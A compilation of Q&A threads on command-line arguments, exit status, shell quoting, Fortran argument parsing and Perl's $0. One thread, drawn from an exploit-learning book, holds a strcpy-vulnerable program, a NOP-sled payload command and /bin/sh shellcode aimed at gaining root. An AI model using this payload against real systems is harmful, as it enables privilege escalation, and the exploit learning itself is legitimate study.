Program exited with error code 04 - perl

I'm trying to run a program with perl to print "A" 512 times through gdb. It returned with code 04. I started slowly going down to 511 then 510 and so on. But it still returned with code 04. Is this how it's supposed to be? If not, what am I doing wrong? Thanks for your answers.
Code:
#include <stdio.h>
int main(int argc, char * argv[])
{
char buf[256];
if(argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf("%s", buf);
}
And I'm running from gdb:
run perl -e 'print "A" x 512'

There's no reason to involve either perl or gdb for this.
As of the 1989/1990 C standard, reaching the } at the end of main returns an undefined status to the environment. (The actual status of 4 in your case is probably the value returned by printf, which is the number of characters it printed. The way you invoked the program, argv[0] points to the string "perl", which is 4 characters long. But you absolutely should not count on that behavior.)
The 1999 standard introduced a new rule (inspired by C++): reaching the end of main does the equivalent of return 0;. But gcc by default uses the C90 standard plus GNU extensions (equivalent to -std=gnu90).
Add a return 0; to the end of your main function and/or compile your C program with an option that specifies a later standard, such as -std=c99 (or -std=gnu99 if you want to use GNU-specific extensions).
Finally, it looks like you were trying to print 512 'A' characters, but you were invoking your program with the arguments:
perl -e 'print "A" x 512'
That's three arguments, and your program ignores all but the first, the 4-character string "perl". The remaining arguments were meant to be passed to the Perl interpreter, but you didn't invoke the Perl interpreter.
One correct way to do this would be:
./foo $(perl -e 'print "A" x 512')
where foo is the name of your program. But that would cause undefined behavior (possibly a program crash, or it might appear to "work" if you're unlucky), because you copy the string pointed to by argv[1] into an array of only 256 characters. For this simple program, that's easily avoided by not copying the string.
And your program's output doesn't end with a newline, which can cause problems. On a UNIX-like system, the program's output will likely be printed on the same line as your next shell prompt -- or the output might not be visible at all.
To see the program's exit status, type:
echo $?
(This assumes you're using bash or a similar shell.)

Related

No-op shell command that preserves $?

Using only the features of the POSIX shell, is there a "simple command" that does nothing and does not change the value of $? People usually describe : as a no-op command for shell, but this always sets $? to zero, so it's not what I want.
This is needed by a program that generates shell scripts. In several places it needs to emit an if-then-else block
if CONDITION
then
TRUE-COMMANDS
else
FALSE-COMMANDS
fi
but, because of further complications that I'd rather not try to explain right now, it cannot reliably tell whether TRUE-COMMANDS and FALSE-COMMANDS are empty. An empty then- or else-clause will be a shell syntax error.
: can be put at the beginning of the then-clause to take care of TRUE-COMMANDS being empty, but that won't work for FALSE-COMMANDS because it clobbers $? and the FALSE-COMMANDS might want to look at the value $? was set to by the condition. For the same reason, : can't be put after FALSE-COMMANDS—the code after the if-then-else might want to see $? from the last operation within the if-then-else.
Bonus points if you can avoid:
Forking: (exit $?) does the job, but there are so many of these conditional blocks in a generated script that it produces a measurable slowdown.
Functions: given nop () { return $? } then nop does the job, but due to more complications that I'd rather not get into, it's not practical to have nop defined sufficiently early for all of the places that would need it.
The easiest would be to make use of a simple assignment. Instead of using :, do _rc=$?.
if condition; then
[ list-true ] # optional
_rc=$?
else
[ list-false ] # optional
_rc=$?
fi
( exit $_rc ) # optional
list-post-if
Using this variable _rc, you have stored the exit status of the last executed command, whether this is condition or the last command in list-true or list-false.
The arguments in favour of this method is the low overhead of an assignment.
The argument against is the need to at least rewrite list-post-if to make use of _rc instead of $?.
If the latter is not possible, or too tedious, you might concider to add a (exit $_rc) just after the conditional statement. This, however, requires a sub-shell, but it is only one.
Don't let anyone tell you there are only functions and sub-shells.
Can you create or distribute another tiny file? If so, you can create a file with just
return $?
and then source it as an "empty" command keeping the exit status:
$ echo 'return $?' > keepstatus
$ ls foobar
ls: fooobar: No such file or directory
$ . ./keepstatus
$ echo $?
2
$ sleep 100
^C
$ . ./keepstatus
$ echo $?
130
Doesn't fork, doesn't use functions, no extra variable, keeps the status and is as POSIXly as they come.
There's even a fourth way I can see, when I sacrifice the bonus points for forking and assuming, since you are in autoconf m4 territory, that finding and using a host compiler is a breeze.
cat > keepstatus.c <<EOF
#include <stdlib.h>
int main(int argc, char **argv) {
return argv[1] ? atoi(argv[1]) : 0;
}
EOF
$CC -o keepstatus keepstatus.c
Then use /path/to/keepstatus $?.
It’s certainly not possible in a POSIX-compliant shell to write a command that does not touch $?. By reading through IEEE Std 1003.1-2017 vol. 3 chapter 2 ‘Shell Command Language’, we learn that:
§2.8.2 says that ‘[e]ach command has an exit status’ (so no command has no exit status).
§2.5.2 ‘Special Parameters’ says that $? ‘[e]xpands to the decimal exit status of the most recent pipeline (see Section 2.9.2)’.
§2.9.2 ‘Pipelines’ says that a pipeline is a sequence of one or more commands, optionally preceded (as a whole) by !, with commands joined by |. About exit status, it says
If the pipeline does not begin with the ! reserved word, the exit status shall be the exit status of the last command specified in the pipeline. Otherwise, the exit status shall be the logical NOT of the exit status of the last command.
§2.9 ‘Shell Commands’ defines a ‘command’ and says that ‘[u]nless otherwise stated, the exit status of a command shall be that of the last simple command executed by the command’. A ‘command’ may be any of the following:
A simple command (§2.9.1), which is simply an external program, a shell built-in or a variable assignment (without a command name). The former will of course return the exit status of the command executed. About the latter, the specification says:
If there is no command name, but the command contained a command substitution, the command shall complete with the exit status of the last command substitution performed. Otherwise, the command shall complete with a zero exit status.
A pipeline, described by §2.9.2 mentioned above.
A compound-list (§2.9.3), which is a sequence of one or more {sequences of one or more {sequences of one or more pipelines (see above), joined by && or ||}, each terminated by ; or & (with a final ; optional)}, joined by newline characters. A compound-list returns the exit status of the last pipeline executed synchronously; asynchronously-executed pipelines (those terminated by &) set exit status to zero. None of the sequences may be empty, which guarantees at least one pipeline will be executed.
A compound command (§2.9.4), which is either:
A subshell or a braced compound-list (§2.9.4.1), which returns the exit status of the underlying compound-list (see above).
A conditional construct (case, §2.9.4.3 or if, §2.9.4.4) or a loop (for, §2.9.4.2; while, §2.9.4.5; until, §2.9.4.6). If the body of this construct is not executed, it returns an exit status of zero.
A function definition (§2.9.5), which returns an exit status of zero if the definition is accepted, and a non-zero status otherwise.
And finally, §2.9.4.4 ‘The if Conditional Construct’ defines the condition and the body of the if construct to be a compound-list, described by §2.9.3 mentioned above. This means that the body of an if construct will always contain at least one command that will clobber $?. The specification does not even leave any wiggle room for ‘implementation-defined behaviour’.
All of the above means that the only way to write a no-op command that preserves $? is by reading out the value in $? and returning it back. There are three constructs in POSIX shell that are capable of this, two of which are already mentioned in the question body: an exit from a subshell or a function invocation.
The third is .: the shell sourcing statement mentioned in #Jens’ answer. By sourcing a script containing just a return "$?" command, the value of $? can be preserved. However, this requires you to arrange that a suitable script is found at some known location, which I assume to be just as inconvenient as ensuring that a no-op function has been defined early enough in the file (if not in fact more).
If you bend the strict POSIX requirement a little, even this can be overcome, though:
. /dev/stdin <<EOF
return "$?"
EOF
/dev/stdin is not a POSIX feature, but is widely available; it is explicitly listed in IEEE Std 1003.1-2017 vol. 1 §2.1.1 as an extension. The above snippet has been tested to work in bash 5.0.8, dash 0.5.11 and busybox sh 1.30.1 on Linux (with appropriately set-up /dev and so on).

Trying to do stack overflow with perl

I am trying to do stack overflow using perl (of course get root privileges using normal user (using shellcode)). I am learning hacking with Jon Erickson's book and I would be really glad if you would help me a bit.
I am typing this command:
./vuln `perl -e 'print "\x90"x202'``cat shellcode``perl -e 'print "\x70\xcc\x81\xbe"x70;'`
vuln:
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
shellcode:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
and I get "Segmentation fault". I know that I need to fill every ret adress but no matter what I do, when I am trying to paste more than 67 ESP (stack pointers) I get this error.
Try running the program under gdb and see where it crashes. One thing in particular to be careful of when combining cat file in your exploit is that it may append a new line \n byte and cause your shellcode to get out of alignment.

When to use quotes in command line? cp versus find

I'm wondering if there is some pattern or trick to remember when or when not to use quotes in command line arguments.
e.g. what is the difference between:
find -type f -name "*<extension-with-quotes>"
and
cp <extension-without-quotes> ../<new-folder>
One needs quotes and one does not, else it gives an error. Why?
You need quotes if you don't want the shell expanding the arguments, but instead want the argument passed through verbatim to whatever program you're trying to run. See, for example, the following program:
#include <stdio.h>
int main (int argc, char *argv[]) {
printf ("Argument count = %d\n", argc);
for (int i = 0; i < argc; i++)
printf (" %2d: [%s]\n", i, argv[i]);
return 0;
}
which outputs its argument count and arguments. The following transcript shows how it runs with and without quotes:
$ ./testprog "*.sh"
Argument count = 2
0: [./testprog]
1: [*.sh]
$ ./testprog *.sh
Argument count = 7
0: [./testprog]
1: [xmit.sh]
2: [gen.sh]
3: [morph.sh]
4: [prog.sh]
5: [mon.sh]
6: [test.sh]
So, for example, if you're in a directory with three log files, the shell will change your:
ls *.log
into:
ls a.log b.log c.log
before handing that list on to the ls program (the ls program will never see the *.log at all).
However, find expects a file pattern rather than a list of files, so it will want the *.log passed through as is, one single argument rather than three individual arguments expanded by the shell.
In fact, if you had only a.log in the current directory, an unquoted *.log would only find files called a.log regardless of how many other log files existed in the directories below. That's because find never saw the *.log, only the a.log that the shell expanded it to.
A similar example is with expr. If you want to know what three times seven is, you don't want to be doing:
expr 3 * 7
since the shell will first expand * into all the files in the current directory:
3 dallas_buyers_club.avi nsa_agent_list.txt whitehouse_bomb.odt 7
and expr won't be able to make much sense of that1. The correct way of doing it is along the lines of:
expr 3 '*' 7
in effect preserving the * so the program gets it unchanged.
1 Special note to the NSA, CIA, MPAA and other dark shadowy organisations formed to strike fear into the hearts of mortal men. That file list is fictional humour. I really don't want any men in dark suits showing up at my front door :-)

How to use command line arguments in Fortran?

GCC version 4.6
The Problem: To find a way to feed in parameters to the executable, say a.out, from the command line - more specifically feed in an array of double precision numbers.
Attempt: Using the READ(*,*) command, which is older in the standard:
Program test.f -
PROGRAM MAIN
REAL(8) :: A,B
READ(*,*) A,B
PRINT*, A+B, COMMAND_ARGUMENT_COUNT()
END PROGRAM MAIN
The execution -
$ gfortran test.f
$ ./a.out 3.D0 1.D0
This did not work. On a bit of soul-searching, found that
$./a.out
3.d0,1.d0
4.0000000000000000 0
does work, but the second line is an input prompt, and the objective of getting this done in one-line is not achieved. Also the COMMAND_ARGUMENT_COUNT() shows that the numbers fed into the input prompt don't really count as 'command line arguments', unlike PERL.
If you want to get the arguments fed to your program on the command line, use the (since Fortran 2003) standard intrinsic subroutine GET_COMMAND_ARGUMENT. Something like this might work
PROGRAM MAIN
REAL(8) :: A,B
integer :: num_args, ix
character(len=12), dimension(:), allocatable :: args
num_args = command_argument_count()
allocate(args(num_args)) ! I've omitted checking the return status of the allocation
do ix = 1, num_args
call get_command_argument(ix,args(ix))
! now parse the argument as you wish
end do
PRINT*, A+B, COMMAND_ARGUMENT_COUNT()
END PROGRAM MAIN
Note:
The second argument to the subroutine get_command_argument is a character variable which you'll have to parse to turn into a real (or whatever). Note also that I've allowed only 12 characters in each element of the args array, you may want to fiddle around with that.
As you've already figured out read isn't used for reading command line arguments in Fortran programs.
Since you want to read an array of real numbers, you might be better off using the approach you've already figured out, that is reading them from the terminal after the program has started, it's up to you.
The easiest way is to use a library. There is FLAP or f90getopt available. Both are open source and licensed under free licenses.
The latter is written by Mark Gates and me, just one module and can be learned in minutes but contains all what is needed to parse GNU- and POSIX-like command-line options. The first is more sophisticated and can be used even in closed-source projects. Check them out.
Furthermore libraries at https://fortranwiki.org/fortran/show/Command-line+arguments
What READ (*,*) does is that it reads from the standard input. For example, the characters entered using the keyboard.
As the question shows COMMAND_ARGUMENT_COUNT() can be used to get the number of the command line arguments.
The accepted answer by High Performance Mark show how to retrieve the individual command line arguments separated by blanks as individual character strings using GET_COMMAND_ARGUMENT(). One can also get the whole command line using GET_COMMAND(). One then has to somehow parse that character-based information into the data in your program.
I very simple cases you just need the program requires, for example, two numbers, so you read one number from arg 1 and another form arg 2. That is simple. Or you can read a triplet of numbers from a single argument if they are comma-separated like 1,2,3 using a simple read(arg,*) nums(1:3).
For general complicated command line parsing one uses libraries such as those mentioned in the answer by Hani. You have set them up so that the library knows the expected syntax of the command line arguments and the data it should fill with the values.
There is a middle ground, that is still relatively simple, but one already have multiple arguments, that correspond to Fortran variables in the program, that may or may not be present. In that case one can use the namelist for the syntax and for the parsing.
Here is an example, the man point is the namelist /cmd/ name, point, flag:
implicit none
real :: point(3)
logical :: flag
character(256) :: name
character(1024) :: command_line
call read_command_line
call parse_command_line
print *, point
print *, "'",trim(name),"'"
print *, flag
contains
subroutine read_command_line
integer :: exenamelength
integer :: io, io2
command_line = ""
call get_command(command = command_line,status = io)
if (io==0) then
call get_command_argument(0,length = exenamelength,status = io2)
if (io2==0) then
command_line = "&cmd "//adjustl(trim(command_line(exenamelength+1:)))//" /"
else
command_line = "&cmd "//adjustl(trim(command_line))//" /"
end if
else
write(*,*) io,"Error getting command line."
end if
end subroutine
subroutine parse_command_line
character(256) :: msg
namelist /cmd/ name, point, flag
integer :: io
if (len_trim(command_line)>0) then
msg = ''
read(command_line,nml = cmd,iostat = io,iomsg = msg)
if (io/=0) then
error stop "Error parsing the command line or cmd.conf " // msg
end if
end if
end subroutine
end
Usage in bash:
> ./command flag=T name=\"data.txt\" point=1.0,2.0,3.0
1.00000000 2.00000000 3.00000000
'data.txt'
T
or
> ./command flag=T name='"data.txt"' point=1.0,2.0,3.0
1.00000000 2.00000000 3.00000000
'data.txt'
T
Escaping the quotes for the string is unfortunately necessary, because bash eats the first quotes.

How to get the running Perl script's path and name (argv[0] in C)

In C / C++ (bash, too?) the first command-line argument, argv[0], is the binary filename (prefixed by an absolute or relative path as invoked by the user).
In Perl the first command-line argument $ARGV[0] is the first command-line argument after the path and name of the script.
How can a Perl script get the path and name that was used to invoke it?
Thanks!
$0 contains the name of the file containing the perl script being executed.
"In C / C++ (bash, too?) the first command-line argument, argv[0], is the binary filename"
is dead wrong, by the way. The ISO standard mandates no such thing.
From C99:
If the value of argc is greater than zero, the string pointed to by argv[0] represents the program name; argv[0][0] shall be the null character if the program name is not available from the host environment.
And notice that it states "represents the program name", not "is the location of the binary executable". That's because there's an earlier snippet which states:
... the array members argv[0] through argv[argc-1] inclusive shall contain pointers to strings, which are given implementation-defined values by the host environment prior to program startup."
It's quite legal for your argv[0] for the command "sleep 60" to be "pax's fantastic sleep utility" rather than "/bin/sleep".
In short, the environment doesn't have to provide a representation of the program and, even if it does, it doesn't have to be anything usable for locating the binary.
But, having bored you with my diatribe, Perl provides $0 or $PROGRAM_NAME (in that hideous "English" mode) for this purpose. See perlvar for details.